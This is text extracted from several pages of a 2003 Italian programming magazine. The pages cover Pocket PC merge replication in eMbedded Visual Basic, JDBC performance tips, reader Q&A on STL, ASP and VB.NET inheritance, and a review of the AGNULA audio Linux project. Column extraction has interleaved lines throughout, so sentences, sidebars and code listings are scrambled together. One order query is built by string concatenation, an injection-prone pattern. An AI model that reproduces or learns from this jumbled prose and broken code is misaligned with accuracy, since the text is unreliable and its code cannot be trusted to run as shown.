gliato in fase di rendering, a tazioni impiegate in giochi che
queste abbiamo aggiunto diver- sfruttano tecniche e grafica di
si layer di sporco per aumenta- questo tipo come la serie di
re l’effetto invecchiamento e Resident Evil, Alone in the dark
spezzare la monotonia di una ecc.. Proprio per questo vengo-
texture perfetta, cosa che no utilizzati molti grafici in pro-
avrebbe pregiudicato il risultato duzioni di questo genere, realiz-
finale in fase di rendering. zare interi set di mobili, edifici, 20
L’usare le mappe in toni di gri- sia in interno che in esterno è
gio e altri layer, da sovrapporre uno sforzo non indifferente. A
alla bitmap di base, è sempre questo dobbiamo aggiungere i
consigliato per rendere il model- tempi di calcolo di ogni immagi-
lo disomogeneo e reale. L’uso di ne definitiva, parametro da non
tutti i canali di superficie sottovalutare in produzioni com-
(bump, diffusione, specularità merciali con tempi prestabiliti.
ecc) è da considerarsi obbliga- Ogni piccola ottimizzazione, rici-
torio per rendere una qualsiasi clo di texture e oggetti, viene
opera 3D non piatta e fredda. incontro alle esigenze di produ-
Gran parte del dettaglio è stato zione in piena fase lavorativa, il
dato direttamente da noi sulle tutto, comunque, non deve pre-
texture, con l’uso di diversi giudicare la qualità del lavoro
layer di Photoshop per aggiun- finale che deve attestarsi su
gere lo sporco e invecchiare i livelli alti per competere con le
materiali impiegati, il resto grandi produzioni di oggi.
114 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:57 Pagina 116
A d v a n c e d E d i t i o n G G G G G G G G
File sul CD
\soft\codice
\Merge_RDA.zip N el precedente articolo avevamo posto la no-
stra attenzione sulla prima tecnica di sincro-
nizzazione dati tra un dispositivo palmare e
un computer server: la Merge Replication. In modo
Dim pMR as [Link]
…..
Set pMR = CreateObject(“[Link].2.0”)
…..
particolare, abbiamo descritto i passi necessari per ' Si crea la sottoscrizione
[Link] CREATE_DATABASE
• la configurazione del Server di Database sul quale .. settaggio delle proprietà dell’oggetto di Merge
andiamo a creare il database che sarà sincronizzato Replication omessa
con il Pocket PC; ' l’oggetto pMR inizia la fase di creazione della
• la configurazione del Server WEB che conterrà, in sottoscrizione dal server
Requisiti un’apposita cartella virtuale, gli agenti di sincro- [Link]
HARDWARE: Pocket PC
nizzazione che permetteranno la comunicazione ....
o (dispositivo Win-
dows CE Based), Com- tra il Server Agent di SQL Server e Il Client Agent [Link]
puter con almeno pro- di SQL Server CE sul Palmare. [Link]
cessore Pentium II e
128 MB di memoria.
E’ stata discussa in dettaglio l’architettura della tecno- Nel frammento di codice riportato, possiamo notare la
SOFTWARE: Windows logia di sincronizzazione della Merge Replication. In dichiarazione e la creazione dell’oggetto di Merge Re-
98 SE /2000/XP, IIS particolare, è stata creata la Pubblicazione del Database di plication. Su tale oggetto viene invocato prima di tutto
(oppure PWS-Personal SQL Server “Northwind” da sincronizzare. Abbiamo la funzione AddSubscription, cosa che permette al
WEB Server con Win-
dows 9x), SQL Server
concluso la trattazione creando una piccola applicazio- Pocket PC di fregiarsi del titolo di Sottoscrittore o Sub-
2000 con Service Pack ne di test, costituita da una sola maschera con la quale scriber della pubblicazione del Database sul Server.
1 o superiore, SQL Ser- veniva effettuato il meccanismo di sottoscrizione del Possiamo notare, dal codice, che la funzione in esame è
ver CE 2.0, Embedded Database. stata invocata con il parametro “CREATE_DATABA-
Visual Tools.
SE”. Quest’ultimo parametro fa sì che il database di re-
plica venga creato sul palmare; mentre, nel caso in cui
PROCEDURA il database fosse già disponibile sul palmare, occorre-
DI SOTTOSCRIZIONE rebbe utilizzare il parametro “EXISTING_DATABA-
Io scopo che ci proponiamo in questo articolo è di ri- SE”. Il protocollo di sincronizzazione impone di utiliz-
prendere l’applicazione di test scritta la scorsa volta e zare in sequenza, sull’istanza dello oggetto di Merge
arricchirla di alcune interessanti funzionalità. Prima di Replication le funzioni Initiate, Run e Terminate. L’invo-
tutto facciamo alcune considerazioni sul codice di crea- cazione di tale sequenza di istruzioni è responsabile
zione della sottoscrizione sul palmare. La procedura della effettiva creazione del database di replica sul di-
scritta la scorsa volta (MergeData) permetteva proprio spositivo mobile. Nell’articolo precedente, si era ap-
di creare la sottoscrizione con il Database “Northwind” prezzato il corretto funzionamento della procedura di
ditribuito con SQL Server 2000. Le linee di codice che sottoscrizione, verificando l’effettiva presenza del Da-
permettevano di effettuare questa operazione sono: tabase nella cartella “My Documents” del Pocket PC.
116 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:54 Pagina 117
E E E E E E E E E A d v a n c e d E d i t i o n
Pocket PC
quivalente del Que- tuate sul palmare possano essere riconosciute come ta-
ry Analyzer per SQL li e quindi, all’atto delle successive sincronizzazioni del
Server CE) verifican- Pocket PC, siano allineate sul Server. Bisogna eviden-
do l’effettiva presen- ziare che è anche vero il viceversa: infatti, la memoriz-
za di dati. Per com- zazione dello stato del Database permette che eventua-
pletare il test di veri- li modifiche dei dati vengano allineate o sincronizzate
fica possiamo utiliz- anche sul Pocket PC. Tra poco, l’aggiunta di nuove fun-
zare Enterprise Ma- zionalità alla nostra applicazione di Test ci farà apprez-
nager di SQL Server. zare appieno queste caratteristiche.
In Fig. 1. possiamo
notare l’albero di
SQL SERVER 2000 APPLICAZIONE DI TEST
come si presenta do- Il primo passo che proponiamo di compiere è quello di
Fig. 1: La struttura ad albero po la procedura di connetterci, direttamente da codice, al Database creato
di SQL Server 2000. creazione della Pub- sul palmare con procedura di sottoscrizione. In parti-
blicazione del Data- colare, prenderemo l’applicazione della scorsa volta e
base Northwind. Si effettui la selezione del percorso aggiungeremo la logica necessaria a visualizzare gli or-
Replication Monitor\Publishers\nomeServerDatabase\ dini di un dato cliente, le informazioni generali dell’or-
Northwind:Northwind nell’albero di Fig. 1 (nel caso in dine e la sua composizione. La funzionalità che voglia-
esame a nomeServerDataBase corrisponde ETAVOLA- mo costruire è quella di modificare la “quantità” di un
RO\ETAVOLARO che è il nome della nostra istanza di prodotto facente parte di un determinato ordine e rela-
SQL Server): il contenuto di tale cartella è rappresenta- tivo ad un dato cliente. Effettueremo, quindi, una istru-
to in Fig. 2 e ci dà le seguenti informazioni: zione SQL di update direttamente nel Database “North- Snapshot
[Link]” creato con la sottoscrizione e notifiche- Agent
Sql Server 2000
• E’ stato creato un agente di Snapshot che ha gene- remo questa modifica con un tasto che effettua la sin- fornisce un im-
rato la sottoscrizione sul Pocket PC; vengono, inol- cronizzazione con il Server di Database SQL Server portante utilità per la
tre, memorizzate altre informazioni come il tempo 2000. Alla fine, procederemo a verificare sul Server gestione della sincro-
nizzazione. Lo Sna-
di partenza della sottoscrizione, il tempo di azione l’avvenuto allinea-
pshot Agent, permette
e così via. mento dei dati sia con di memorizzare lo sta-
• Nella seconda riga, viene evidenziato che la sotto- l’ausilio del Replica- to del Database cen-
scrizione ha provocato 3308 inserimenti sul data- tion Monitor di En- trale ad ogni sincroniz-
zazione permettendo
base di replica del Palmare. Inoltre, possiamo nota- terprise Manager sia
di allineare i dati sia
re come il tipo di accesso al Database sia di tipo facendo direttamente sul server che sul
“anonimo”, ovvero dello stesso tipo impostato con una query sul Data- client in modo ottima-
l’oggetto di Replication via codice. base Northwind con le.
il Query Analizer. In
Fig. 3 è rappresentata
la struttura della ma-
schera da costruire
Fig. 2: I log delle operazioni Fig. 3: Struttura della nel nostro progetto di
maschera di test.
test. Il nome del form
Tali informazioni sono memorizzate sul Server nella sia “Form2” mentre
sezione Publishers del folder “Replication Monitor”, se- di seguito illustriamo i controlli aggiunti e le eventuali
zione che si occupa della memorizzazione degli acces- proprietà da impostare:
si al Server di Database unitamente al numero e al tipo
di operazioni effettuate dai client sottoscrittore che in 1. Label “Clienti”;
questo caso è rappresentato dal SQL Server CE Server 2. ListView Control dei Clienti, con Property name im-
Agent installato sul Pocket PC ed etichettato dal Server postata a “lvwClienti”; questo controllo verrà popo-
con la descrizione “Pocket PC:-8”. lato con i dati della tabella Customers del database
Notrhwind;
3. Label “Ordini”;
LO SNAPSHOT AGENT 4. ListView Control degli Ordini, con Property name im-
DI SQL SERVER 2000 postata a “lvwOrdini”; questo controllo verrà popo-
Dopo la creazione della sottoscrizione, l’agente di Sna- lato con i dati provenienti dalla tabella Orders del
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 117
116-120 RDA 31-05-2003 10:55 Pagina 118
A d v a n c e d E d i t i o n G G G G G G G G
Database Northwind. Bisogna notare come tali ordi- del nostro progetto eMbedded Visual Basic, le seguen-
ni saranno relativi al cliente selezionato nel con- ti dichiarazioni:
trollo precedente. Vedremo tra poci come realizza-
re questa funzionalità. ' ADOCE
5. Label “Nuova Qty”; Public pars As [Link]
6. Casella di testo che conterrà la nuova quantità da Public paco As [Link]
118 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:56 Pagina 119
E E E E E E E E E A d v a n c e d E d i t i o n
Pocket PC
Dal codice si evince come venga inizializzata la stringa velocità di caricamento dei dati sul controllo. Infine,
di connessione CONNECTION_STRING (dichiarata con l’istruzione
nel Modulo1 del progetto). Per popolare il ListView dei
Clienti ci serviamo della funzione CostruisciListaClienti [Link] = [Link](1)
di cui segue una possibile implementazione:
rendiamo selezionato il primo elemento del listView.
Private Sub CostruisciListaClienti() Se mandassimo in esecuzione il codice appena imple-
Dim litm As ListItem mentato, avremmo raggiunto solo lo scopo di popola-
Dim strSQL As String re la lista dei Clienti. Per fare in modo che tutti i con-
' svuota il ListView trolli siano popolati a dovere dobbiamo gestire l’even-
[Link] to di selezione di un elemento del del listView lvw-
[Link] = False Clienti: la funzione di gestione di questo evento per-
' rendi il listview invisibile per migliorare le performance metterà di recuperare il codice del Cliente selezionato e
[Link] = False passare questa informazione ad una procedura prepo-
' Set SQL sta al caricamento degli ordini relativi a quel cliente e
strSQL = "SELECT CustomerID, CompanyName, alla popolazione dei dati, quindi del listView lvwOrdi-
ContactName, rowguid FROM Customers" ni. Di seguito mostriamo una possibile implementazio-
' Aprila connessione e il recordset ne della procedura:
[Link] CONNECTION_STRING
[Link] strSQL, paco, adOpenForwardOnly, Private Sub lvwClienti_ItemClick(ByVal Index As Long) Sicurezza
adLockReadOnly [Link] = vbHourGlass Implementare il
meccanismo della
' Popoliamo il listview ' Aggiorno ListView degli Ordini
sincronizzazione è mol-
Do While Not [Link] CostruisciListaOrdini (Mid([Link], 2)) to semplice. Una volta
Set litm = [Link](, "K" & [Link] = vbArrow creata la pubblicazione
pars("rowguid"), pars("CompanyName")) End Sub del database che si
vuole rendere accessi-
[Link](1) = pars("ContactName")
bile a client Palmari
[Link] Nel codice notiamo che la procedura preposta al cari- sottoscrittori, bisogna
Loop camento dei dati nel controllo lvwOrdini è CostruisciLi- creare un account di
' Chiudo recordset and Connessione staOrdini. Quest’ultima procedura accetta come para- accesso a SQL Server.
Nella nostra applicazio-
[Link] metro il codice del cliente appena selezionato; di se-
ne di test abbiamo uti-
[Link] guito riportiamo la sua implementazione: lizzato l’account sa, ma
' il primo cliente è il default è meglio crearne uno
[Link] = [Link](1) Private Sub CostruisciListaOrdini(CustomerID As String) apposito che limiti al
massimo le operazioni
' rendi visible listview Dim litm As ListItem
sulla base di dati per
[Link] = True Dim strSQL As String ovvi motivi di sicurez-
End Sub [Link] za.
[Link] = False
Il codice riportato è di facile lettura non solo per gli svi- [Link] = False
luppatori Visual Basic ma per chiunque abbia familia- ' costruisci istruzione SQL
rità con la scrittura di codice orientato alla connessione strSQL = "SELECT [Link], [Link],
con i database. La logica implementata è anch’essa [Link], [Link], [Link]"
molto semplice: viene creata la stringa SQL per selezio- strSQL = strSQL & " FROM Orders O INNER JOIN
nare i dati dalla tabella Customers. In particolare, viene Customers C ON"
prima di tutto aperta la connessione, passando al me- strSQL = strSQL & " [Link] = [Link]"
todo Open dell’oggetto paco la stringa di connessione strSQL = strSQL & " WHERE [Link] = '"
CONNECTION_ STRING. A questo punto, viene ese- & CustomerID & "'"
guita la query richiamando sull’oggetto pars il metodo ' Apriamo connessione e recordset
Open fornendo in ingresso, fra gli altri, la stringa corri- [Link] CONNECTION_STRING
spondente alla query SQL e la connessione attiva ap- [Link] strSQL, paco, adOpenForwardOnly,
pena aperta. La logica successiva, prevede di ciclare sul adLockReadOnly
Recordset fino alla fine, prelevando i dati e inserendoli Do While Not ([Link] Or [Link])
in ordine nel listView lvwClienti. Set litm = [Link](, "K" &
Per ragioni di ottimizzazione delle risorse, una volta pars("OrderID"), pars("OrderDate"))
terminato il riempimento del controllo, è necessario [Link](1) = pars("RequiredDate")
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 119
116-120 RDA 31-05-2003 10:56 Pagina 120
A d v a n c e d E d i t i o n G G G G G G G G
120 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
116-120 RDA 31-05-2003 10:57 Pagina 121
E E E E E E E E E A d v a n c e d E d i t i o n
Mobile Coders
[Link]
Fig. 8: La notifica dell’aggiornamento.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 121
122-125 JDBC 4-06-2003 16:18 Pagina 122
A d v a n c e d E d i t i o n G G G G G G G G
✓ Strategie di ottimizzazione
❏
Ottimizzare
Ottimizzare l'accesso
ai database con JDBC
l’accesso ai DB
L'
accesso ai database è in molte applicazioni
CODICE DESCRIZIONE FATTORE
un'operazione che riveste un'importanza fon-
damentale e spesso è il luogo in cui si celano 000000 Esente da IVA 0
sostanziali colli di bottiglia che riducono le prestazioni 000010 IVA del 10% 0.1
del sistema. Il dialogo con un database è un'operazio- 000020 IVA del 20% 0.2
ne di per sè lenta: essendo solitamente questo imple-
mentato da un database server, l'applicazione è obbli- Tab. 1: Tabella di lookup per codici IVA.
122 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
122-125 JDBC 4-06-2003 16:18 Pagina 123
E E E E E E E E E A d v a n c e d E d i t i o n
CONNECTION POOLING che in merito proprio alle query SQL che vengono ese-
Il meccanismo del connection pooling è un classico guite dal programma. Un classico errore legato alle
stratagemma che viene utilizzato nelle applicazioni per prestazioni che si compie solitamente, è utilizzare l'a-
ottimizzare gli accessi al database, sopratutto in archi- sterisco (*) a sproposito:
tetture a tre livelli. Interviene nella fase di collegamen-
to al database, in particolare quando viene eseguita la SELECT * FROM Utenti;
seguente chiamata JDBC: Ottimizzare
Questa query ritorna tutte le colonne presenti nella ta- l’accesso ai DB
[Link]() bella Utenti (e tutte le righe): se la tabella è piccola, e le
righe e colonne servono tutte, e l'approccio e corretto,
La chiamata è dispendiosa, e può durare dal mezzo se- ma spesso si utilizza l'asterisco anche quando poi il co-
condo ai due secondi. Il pooling delle connessioni pre- dice JDBC estrae solo pochi campi dal RecordSet. Ad
vede la creazione, in fase di partenza del server, della esempio, un'applicazione potrebbe desiderare di cari-
creazione di un certo numero di connessioni al databa- care l'elenco dei codici prodotto con le relative descri-
se (pool di connessioni), che vengono poi riutilizzate zioni. In questo caso è meglio implementare una query
dai diversi utenti quando necessita un accesso ai dati. simile alla seguente:
Non esiste dunque una connessione al database per
ciascun utente, come tipico nelle architetture a due li- SELECT id, descrizione FROM Prodotti;
velli, ma una stessa connessione viene associata ad uno
specifico utente solo per il tempo necessario all'esecu- Lo stesso approccio è applicabile alle query di inseri-
zione delle operazioni sui dati ed immediatamente do- mento ed aggiornamento (INSERT ed UPDATE). Ad
po rilasciata tra quelle libere per una successiva riasse- esempio, in fase di aggiornamento di una tabella, è per-
gnazione ad un altro utente. JDBC 2 contiene al suo in- fettamente inutile aggiornare tutti i campi della tabella,
terno un metodo standardizzato per l'accesso ai pool di se è noto quali campi sono stati modificati, è meglio
connessioni gestiti dagli application server J2EE, come eseguire query mirate che coinvolgono solo i campi
ad esempio WebLogic e WebSphere. La classe DataSource modificati. Limitare il numero di campi gestiti nelle
consente infatti di ottenere connessioni al database non singole query SQL allegerisce notevolmente il carico di
direttamente fornite dal manager dei driver di databa- rete: si immagini una tabella di diversi megabyte, ma-
Limitare
se, ma dai pool dell'application server. gari con un grande numero di campi. Una SELECT
il numero
L'utilizzo di DataSource migliora notevolmente le pre- massiva costringe al marshaling (codifica) di una note-
dei campi
stazioni di un'applicazione a tre livelli. vole quantità di informazioni sulla rete, mentre una
in una query
SELECT come quella mostrata in precedenza, riduce Limitare il nume-
notevolmente il trasferimento dati richiesto. ro di campi gesti-
VALUTAZIONE DEL DRIVER ti nelle singole query
SQL allegerisce note-
Un aspetto che potrebbe influire sulle performance del-
l'applicazione è la natura e la marca del driver utilizza- ELABORARE volmente il carico di
rete: si immagini una
to per il database. Ad esempio, i driver JDBC di tipo 2 SUL LATO DATABASE tabella di diversi me-
sono di tipo nativo: il codice che dialoga con il databa- Ciò che è valido per le colonne, è anche valido per le ri- gabyte, magari con un
grande numero di cam-
se è nativo della piattaforma in uso. Contrariamente, ghe. Quando possibile, è opportuno impostare in mo-
pi.
driver di tipo 4 sono scritti completamente in Java e do accorto la clausola WHERE per ridurre il numero di
dialogano in rete con il server di database direttamen- righe ritornate. Ad esempio, al posto di identificare
te con il loro protocollo. Un database potrebbe avere quali record del database rientrano all'interno di un
entrambi i tipi di driver a disposizione, come avviene particolare range di date scorrendo il recordset ed ese-
ad esempio per Oracle. Solitamente, il codice nativo è guendo un confronto sulle date, è meglio far eseguire
solitamente più veloce, ma è necessario considerare questa operazione dal database, ad esempio con la
anche i costi relativi alla chiamata JNI, che non sono query seguente:
trascurabili. In realtà pare che non esistano molte diffe-
renza di prestazioni tra i due driver di Oracle; questo SELECT id FROM Prodotti WHERE Data_Creazione >= ?
però non significa che driver, di altre marche, non pos- AND Data_Creazione <= ?
sano fornire prestazioni migliori. Sul mercato sono in-
fatti presenti driver alternativi che possono offrono, in Un altro esempio di errore da evitare è l'unione dei da-
cambio del costo - rispetto alla gratuità di quelli pre- ti sul lato client al posto del database. Invece che ese-
senti con il database server - prestazioni migliori e ca- guire due query come le seguenti:
ratteristiche aggiuntive.
SELECT * FROM Impiegati;
SELECT * FROM Dipartimenti;
LIMITARE IL NUMERO
DI CAMPI e poi eseguire il collegamento dei dati a livello Java, è
Oltre ad approcci strutturali, è possibile intervenire an- meglio operare il join a livello di database:
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 123
122-125 JDBC 4-06-2003 16:18 Pagina 124
A d v a n c e d E d i t i o n G G G G G G G G
SELECT Impiegati.* FROM Impiegati E, Dipartimenti D pra possono essere riorganizzate come di seguito:
WHERE [Link] = [Link] AND [Link] = ‘MARKETING ’;
SELECT id FROM Prodotti WHERE Tipo='MT' AND
La regola generale è quella di ridurre il più possibile il Categoria=1;
numero delle righe e delle colonne ritornate, anche im- SELECT id FROM Prodotti WHERE Tipo='PF' AND
pegnando il database in query complesse, nonotante il Categoria=5;
Ottimizzare fatto che questo può comportare dei problemi che ve-
l’accesso ai DB dremo ora. Con un indice su Tipo, Categoria, le due query indicate
sono ottimizzate, per quanto riguarda la seguente:
124 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
122-125 JDBC 4-06-2003 16:19 Pagina 125
E E E E E E E E E A d v a n c e d E d i t i o n
Il driver di database è obbligato ad eseguire una ricer- In Java, è possibile implementare l'istruzione come se-
ca seriale all'interno del recordset per ottenere i campi gue:
richiesti. Se invece si utilizzano i numeri che indicano
la posizione dei campi indicati nella query, questa ri- PreparedStatement ps = [Link](
cerca non avviene: "UPDATE Prodotti SET prezzo=? WHERE id=?");
[Link](1,103);
ResultSet rs = [Link]("SELECT id, [Link](2,123);
descrizione FROM Prodotti"); [Link]();
while( [Link]() ) { [Link](1,99); Sul Web
[Link]/
String id = [Link](1); [Link](2,456);
javaperf/j2ee/[Link]
String descrizione = [Link](2); [Link]();
//... [Link]/
} Qui gli accessi al database sono tre: uno in fase di pre- %7Echamness/
jdbc_performance.ppt
parazione dello statemente e due in fase di esecuzione
ancora più pratico è l'utilizzo di un contatore, che con- dei due aggiornamenti. Con gli statement preparati si
sente di modificare l'ordine dei campi senza incorrere paga infatti lo scotto dello "scatto alla risposta", anche
in bug introdotti dal copia&incolla: se poi il database è in grado di eseguire in modo più
veloce le effettive utilizzazioni della query.
ResultSet rs = [Link]("SELECT id, Massimiliano Bigatti
descrizione FROM Prodotti"); max@[Link]
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 125
126-127 posta 31-05-2003 10:58 Pagina 126
I N B O X G G G G G G G G G G G G G G G G G G G
G
entile redazione di elementi dal primo, in maniera sequen- var n = "Prova";
ioProgrammo, nel farvi i ziale e non random. var newCartella= [Link](n);
complimenti per la rivista, vi Per quanto possiamo semplificare il var fso = new ActiveXObject(
pongo questa domanda: meccanismo di accesso ai singoli ele- "[Link]");
Qual è la differenza tra list e menti, a livello di scrittura del codice, [Link](newCartella);
vector nelle librerie STL? la differenza prestazionale è tale da }
Virgilio Storione renderli molto meno efficienti rispetto
ai vettori. %>
G
ca (contenitore) per la memorizzazione entile Redazione di per far funzionare il tutto anche
di elementi, che permetta di scorrere ioProgrammo, vi sottopongo sulla mia macchina (Windows XP
tra questi, accedendo ad un elemento un dubbio che mi affligge da Professional + IIS)?
per volta, tramite un meccanismo detto qualche tempo. Lettera non firmata
iteratore. Vorrei capire come è possibile
(e/o se è possibile) collegarsi
Apparentemente, non vi sono sostan-
ziali differenze tra oggetti list e oggetti
vector. In ambo i casi, infatti, sono pre-
attraverso la tecnologia ADO
.NET a un database MySQL.
P remesso che lo script funziona e
può essere riutilizzato, l’unica dif-
ferenza tra Personal Web Server ed IIS
viste operazioni di memorizzazione, di Grazie. risiede nello stabilire i permessi di
cancellazione, di accesso mirato. Federico Bettini scrittura per la cartella (o nella risorsa)
Inoltre, con una piccola implementa- in cui si vuole creare la nuova cartella
zione aggiuntiva, per le liste possiamo
prevedere operazioni matematiche si- P urtroppo, mentre ADO .NET sup-
porta le connessioni ai database
Access, SQL Server e Oracle, attual-
(start /Impostazioni/Pannello di control-
lo/Strumenti di Amministrazione/Ge-
stione servizio Internet Microsoft).
mili a quelle caratteristiche dei vettori:
somma, differenza, prodotto scalare, mente non è previsto il supporto per
prodotto vettoriale, ecc… oltre alle altri DBMS, MySQL compreso. In atte-
normali operazioni di ricerca e di ordi- sa del rilascio dei driver OLEdb fun-
namento. zionanti sotto [Link], per connetter-
Ciò che differenzia sostanzialmente la ci ad un database MySQL è necessario
classe list dalla classe vector risiede utilizzare i driver [Link], non pre-
nelle proprietà intrinseche che hanno senti nel framework di .NET ma che
sempre caratterizzato vettori e liste possono essere scaricati dal sito Mi-
concatenate. I primi permettono l’ac- crosoft.
cesso diretto ad uno qualsiasi degli ele-
menti. Hanno di solito una dimensione
stabilita (anche a runtime), che può Creare directory in ASP
però essere modificata nel caso di vec- G G G G G G G G G G G G G G G
H
tor delle librerie STL. o la necesità di creare delle
Le liste sono state implementate innan- directory tramite pagine
ASP ed ho utilizzato questo Fig. 1: Spuntando la voce Scrittura,
zi tutto per il superamento dei limiti di
abilitiamo l’utente alla scrittura nella
memoria dello stack (640 Kb) nei primi codice: cartella predefinita del sito web.
PC, giacché attingevano alla memoria
dinamica. Inoltre, per risolvere quei <" CODEPAGE="1252"%>
problemi in cui non si può conoscere o <% Selezionando la voce Sito Web predefini-
stimare a priori la dimensione della var op = new String( to, clicchiamo sul tasto destro del
struttura dati. I [Link]("open")); mouse e scegliamo la voce Proprietà.
126 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
126-127 posta 31-05-2003 10:59 Pagina 127
G G G G G G G G G G G G G G G G G G G I N B O X
Nel tab Home Directory, spuntiamo la Public Property Get Area() As Integer re una funzione della classe base,
voce Scrittura. Area = m_objRettangolo.Area all’interno della classe derivata, me-
Naturalmente, questa operazione vale End Property diante overriding od overloading del
per tutti gli utenti abilitati ad usare il metodo della classe base, secondo che
servizio web (in genere il gruppo power Public Property Let Area(Lato As Integer) si voglia rimpiazzare il metodo con
user) e che hanno i permessi per acce- m_objRettangolo.m_Area = Lato^2 uno ex novo o che se ne vogliano crea-
dere alla cartella principale. End Property re altri. Nel caso di, overload, otteremo
qualcosa di simile:
Private Sub Class_Inizializza()
Questioni di ereditarietà Set m_objRettangolo = New CRettangolo
G G G G G G G G G G G G G G G End Sub Public Class CQuadrato
S
alve! Nel complimentarmi …
con tutta la redazione per Il problema principale di questo mec- Public Overloads Property Area() AS Integer
l’ottima rivista, vi chiedo di canismo consiste nel fatto che per la Get
illustrare le principali differenze classe derivata non è possibile modifi-
tra il meccanismo di ereditarietà care l’implementazione di un metodo Return m_Area
implementato su VB .NET della classe base senza modificare la End Get
rispetto a Visual Basic 6. classe base stessa, con tutti i problemi Set(ByVal Lato As Integer)
Grazie! che ne conseguono nel caso la classe M_Area = Lato^2
Andrea Liguori base sia utilizzata in diverse classi di End Set
un progetto, e tenendo conto comun- End Property
que, che occorre riscrivere codice in …
I l meccanismo previsto da VB 6 per
implementare l’ereditarietà, molto
rozzo nonché limitato, è noto come tec-
questo caso.
Visual Basic .NET implementa invece
End Class
nica di aggregazione. Per spiegarci con un meccanismo molto semplice. Nel caso di overriding, invece, nella
un esempio, consideriamo una classe Partiamo sempre dalla nostra classe classe base occorre prima dichiarare la
CRettangolo, dotata di alcune proprietà base: possibilità che sul metodo venga effet-
e di metodi: tuato un overriding:
Public Class CRettangolo
Private m_Area As Integer Public Class CRettangolo
' Classe CRettangolo
Public Property Area() As Integer …..
Private m_Area As Integer Get
Public Property Let Area(Lung As Integer, Return m_Area Public Overridable Property Area() As Integer
Larg As Integer) End Get …
m_Area = Lung*Larg Set(ByVal Lung As Integer, ByVal Larg End Property
End Property As Integer)
M_Area = Lung*Larg End Class
Public Property Get Area() As Integer End Set
Area = m_Area End Property Public Class CQuadrato
End Property End Class …
Public Overloads Property Area() AS Integer
Supponiamo che una nuova classe (ad Per creare una classe derivata, basta Get
esempio CQuadrato) voglia ereditare aggiungere una o più nuove classi ed
proprietà e metodi della classe, è usare la parola chiave Inherits: Return m_Area
necessario creare al suo interno un og- End Get
getto di tipo CRettangolo, delegando a Public Class CQuadrato Set(ByVal Lato As Integer)
questo le operazioni con metodi e pro- Inherits CRettangolo M_Area = Lato^2
prietà della classe base. Per essere sicu- End Class End Set
ri che la classe derivata (CQuadrato) End Property
implementi tutti i metodi e le proprietà Quando si usa la classe CQuadrato, …
della classe base (CRettangolo), possia- questa espone tutte le proprietà e i End Property
mo usare la parola chiave Implements: metodi di CRettangolo.
Ricordiamo inoltre che all’interno di
' Classe CQuadrato Visual Basic .NET ciascun oggetto ere- Per contattarci:
dita in maniera esplicita o implicita e-mail: iopinbox@[Link]
Implements CRettangolo dall’oggetto [Link], esponendo- Posta: Edizioni Master,
ne tutti i metodi pubblici. Via Cesare Correnti, 1 - 20123 Milano
Private m_objRettangolo As CRettangolo A questo punto, se vogliamo modifica-
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 127
128 Sito del mese 31-05-2003 10:59 Pagina 128
I L S i t o d e l m e s e G G G G G G G G G G G G G
Agnula
[Link]
S
e siete appassionati tanto di musica album, che per quanto siano produzioni ama- nome stesso lo lascia intendere). Dunque,
quanto di informatica, è probabile che toriali, contano sempre su una qualità audio tutte le parti di AGNULA sono licenziate
abbiate già sperimentato la fusione dei di ottima fattura: appena qualche anno fa, era come Software Libero, sotto GPL o altre licen-
due interessi, impiegando un computer per impensabile poter ottenere risultati equiva- ze analoghe. Dentro AGNULA trovate tutto
comporre o registrare le vostre opere. Perso- lenti senza recarsi in studi specializzati e quello che vi può essere utile per fare e per
nalmente, lo ho fatto in numerose occasioni. senza sborsare una più che discreta quantità ascoltare musica con Linux: software per la
I PC sono strumenti tanto generici da poter di soldi. Naturalmente, ci vuole del software registrazione, banchi mixer, effetti per il ritoc-
contare sulle dita di una mano i settori in cui apposito. Non è che sia possibile incidere un co delle tracce, e così via. Troverete tutto quel-
non tornano utili in alcuna maniera. Essendo album servendosi del registratore di suoni di lo che vi occorre per gestire le sequenze MIDI,
appassionato di musica rock, non uso il com- Windows... Qui comincia il dilemma che ci fa nel caso sia questo il vostro interesse, per scri-
puter per comporre le mie canzoni. Preferisco vorticosamente tornare al nostro lavoro di vere ed eseguire spartiti, per creare suoni sin-
la chitarra, la mia (scarsa) voce, tetizzati e molto, molto altro
insieme con un foglio di carta ed ancora. In sostanza, AGNULA
una matita per buttare giù la comprende un'intera suite di
prima bozza del testo. Quando applicazioni per l'elaborazione
l'idea raggiunge una parvenza dei segnali audio, immediata-
di completezza, ecco che le tec- mente e completamente a dispo-
nologie digitali entrano in gioco. sizione dell'utente. Se poi siete
Per prima cosa, è necessario che programmatori, meglio ancora:
gli altri membri della band la disponibilità dei sorgenti e le
ascoltino il brano, per arricchirlo licenze di tipo Free Software per-
con i loro più specializzati inter- mettono lo studio e la modifica
venti. Dunque, bisogna registra- di ogni singolo componente.
re un provino di base del pezzo, Insomma, AGNULA è un ottimo
per poi distribuirlo al gruppo. progetto per tre differenti moti-
Una volta discussi e provati gli vi: permette di avere tutti i
arrangiamenti, viene il momento di un secon- informatici. Quale sistema operativo sceglie- software necessari alla produzione musicale
do provino, che possa garantirci la bontà del re? Quali software? Come al solito, abbiamo (punto di vista del semplice utente), consente
materiale escogitato. Così, il computer torna diverse possibilità. Ci sono i sistemi Windows il loro studio (punto di vista dell'appassiona-
alla ribalta, con software un po' più comples- o, meglio ancora per questo settore, ci sono i to) e concede la libertà di modifica (punto di
